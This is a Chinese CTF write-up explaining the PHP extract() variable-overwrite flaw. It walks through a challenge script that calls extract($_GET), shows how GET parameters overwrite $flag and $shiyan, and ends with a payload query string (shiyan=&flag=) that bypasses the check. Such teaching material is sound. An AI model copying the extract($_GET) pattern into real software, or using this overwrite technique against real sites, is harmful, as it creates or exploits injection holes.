PHP – extract() 变量覆盖

题目代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
$flag='xxx';
extract($_GET);

if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'flag{xxx}';
}
else
{
echo'Oh.no';
}
}
?>

代码分析

  • extract() 接受 GET 类型传输的参数
  • file_get_contents() 将文件内容读入字符串
  • trim() 去掉 HTML 标识

函数用法

extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

用法示例代码

1
2
3
4
5
<?php
$test_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($test_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>

用法返回结果

$a = Cat; $b = Dog; $c = Horse

extract() 获取到数组的变量名与其他变量名重名时,会以extract()函数内的变量为主,从而实现变量覆盖。

绕过示例代码

1
2
3
4
5
6
7
8
<?php
$shiyan = "shiyan";
echo ('[1] '.$shiyan.'<br>');

$test_array = array("shiyan" => "flag");
extract($test_array);
echo ('[2] '.$shiyan.'<br>');
?>

绕过返回结果

[1] shiyan
[2] flag

可以看到 $shiyan 变量的值已经被覆盖了,这就是 extract() 变量覆盖

绕过分析

  • 获取 flag 需要满足条件 $shiyan == $content
  • file_get_contents() 获取不存在文件返回 False
  • trim(file_get_contents()) 获取不存在文件返回 String 类型的 ""
  • $shiyan 只传输不给参数,就是 String 类型的 ""

那么GET 传输 $shiyan 为空值,再将 $flag 覆盖为一个不存在文件,使 $content 为空值,满足获取 flag 的条件,即可获取 flag

Payload

index.php?shiyan=&flag=
index.php?shiyan=&flag=1